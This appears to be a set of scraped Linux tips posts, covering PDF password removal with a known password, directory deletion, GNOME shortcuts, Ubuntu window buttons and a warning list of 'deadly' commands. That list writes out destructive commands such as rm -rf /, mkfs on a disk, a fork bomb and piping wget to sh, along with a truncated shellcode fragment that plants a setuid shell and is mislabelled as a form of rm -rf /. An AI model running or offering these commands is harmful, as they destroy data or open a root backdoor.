Removing a password from a PDF

I just bought a PDF, legally, from a publisher’s website. However, in their wisdom, they decided it would be a good idea to password protect all legally-purchased PDFs. This means that each time you open the PDF using Acrobat Reader, you have to remember and type in the password to read it. (Evince, the built-in PDF viewer in Linux, allows you to permanently save the password, but I tend to use Acrobat as it copes better with some PDFs.)

So, if you know the password for a PDF and want to remove it, you can use the command line tools pdftops and ps2pdf to free your PDF from its chains.

Install pdftops. On Ubuntu, you can do:

apt-get install xpdf-utils

Install ps2pdf. I think this is already included with a default Ubuntu.
Convert the PDF to a postscript file, using the password:

pdftops -upw <password> <file>.pdf

Convert the resulting postscript (which is now sans password) back to a PDF:

ps2pdf <file>.ps

The only thing you lose are any PDF-specific features which don’t translate to postscript, e.g. hyperlinks.

Remember, this only works if you know the password for the PDF: it doesn’t break the PDF password for you.

Delete directory command in Terminal

You need to use the rmdir utility / command. The rmdir utility removes the directory entry specified by each directory argument, provided it is empty. Arguments are processed in the order given. In order to remove both a parent directory and a subdirectory of that parent, the subdirectory must be specified first so the parent directory is empty when rmdir tries to remove it.
Remove / Delete directory called /tmp/foo
Open the terminal. Type the following command:

$ rmdir /tmp/foo

Recursive removal
Remove all files and directories (recursive removal):

$ rm -rf /path/to/directory
$ rm -rf /tmp/foo

Please note that you can also pass -p option to rmdir command. Each directory argument is treated as a pathname of which all components will be removed, if they are empty, starting with the last most component:

$ rmdir -p /tmp/x/y/z

GNOME keyboard shortcuts

Well all strive to make our desktop as efficient as possible. Whether you’re a coder who wants nothing more than to never remove your fingers from the keyboard, or if you’re a writer who wants to use the mouse only when necessary, there are so many ways to make this happen. One of the easiest ways is to use keyboard shortcuts.

I’ve already touched on this subject in my article “Handy GNOME keyboard shortcuts” and I’ve demonstrated how to create custom shortcuts in my article “Create custom desktop shortcuts in Ubuntu“. Both of those articles strive for the same goal – the most efficient computer desktop experience possible. Add to that growing documentation this article on even more (handy) GNOME keyboard shortcuts, and you’re getting close to realizing your dream of never leaving your keyboard.


We all have to work with menus. Be it the main window (Applications) or Application menus, having a keyboard shortcut for these menus goes a long way toward efficiency. Let’s take a look at some:

Alt F1: This will open up the Applications menu on the GNOME desktop. Once open you can use your arrow keys on your number pad.

Alt F: This opens up the file menu in your current working window. Once open you can use your arrow keys on your number pad.

Alt E: This open up the Edit menu in your current working window. Once open you can use your arrow keys on your number pad.

Alt Space: This brings up the Window Menu (where you can select a window to be “Always on Top” and more. Once open you can use your arrow keys on your number pad.


These particular shortcuts always pertain to the current working window.

Alt F7: Initiates window movement. Once you press this combination you can use your arrow keys to move the window where you want it.

Alt F8: Resizes a window. Once pressed, use your arrow keys to resize the window. Hit Enter when finished.

Alt F10: Maximizes a window.

Alt F5: Returns a window to previous or normal size.

Alt F4: Closes the window.


Nautilus is the default GNOME file manager. You will use it frequently.

Ctrl W: Close the current working Nautilus window.

Ctrl R: Reload the Nautilus window.

Alt Up Arrow: Open parent folder.

Alt Left Arrow: Move back one folder.

Alt Right Arrow: Move forward one folder.

Alt Home: Return to your home directory (~/).

Ctrl L: Show/hide the location bar.

F9: Show/hide the side pane.

Ctrl H: Show/hide hidden files.

Ctrl +: Zoom in.

Ctrl -: Zoom out.

Ctrl 0: Normal size.

Between the original keyboard shortcuts article and this article, you should now have plenty of shortcuts to keep your fingers from dancing between your keyboard and your mouse. Of course neither of these article touch upon Compiz, which has its own set of keyboard shortcuts.

Move Ubuntu 10.04 Window Buttons from Left to Right

Move Ubuntu 10.04 Window Buttons from Left to Right with 1 Command: Perhaps the most annoying thing about Ubuntu 10.04 “Lucid Lynx” is the right-to-left window buttons (Minimize, Maximize and Close buttons) switch. The change has caused a lot of confusions, anger, and criticisms from even the most loyal Ubuntu enthusiasts.

I personally wasn’t happy about it not really because Ubuntu was trying to be like Mac OS X, but mainly because I’m just not used to having those pesky buttons at the left side. I know a lot of those who have just upgraded or installed Ubuntu 10.04 feel the same way too and would immediately want to move the window buttons back to where they belong, so allow me to help you with the simplest way possible.

Here’s how you can move the window buttons of Ubuntu 10.04 from left to right using a one-liner:

Run Application Dialog (Alt+F2) or open a terminal and execute this command:

gconftool-2 --set /apps/metacity/general/button_layout --type string menu:minimize,maximize,close

That should do the trick. I hope you are happy now and have stopped cursing already

The 7 Deadly Linux Commands

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
mkfs.ext3 /dev/sda
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
 : ( ){:|:&};:
Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.
any_command > /dev/sda
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.
Get certified one of the USA top rated cism and cissp certification in your first attempt and win a free voucher of 220-701 comptia exam.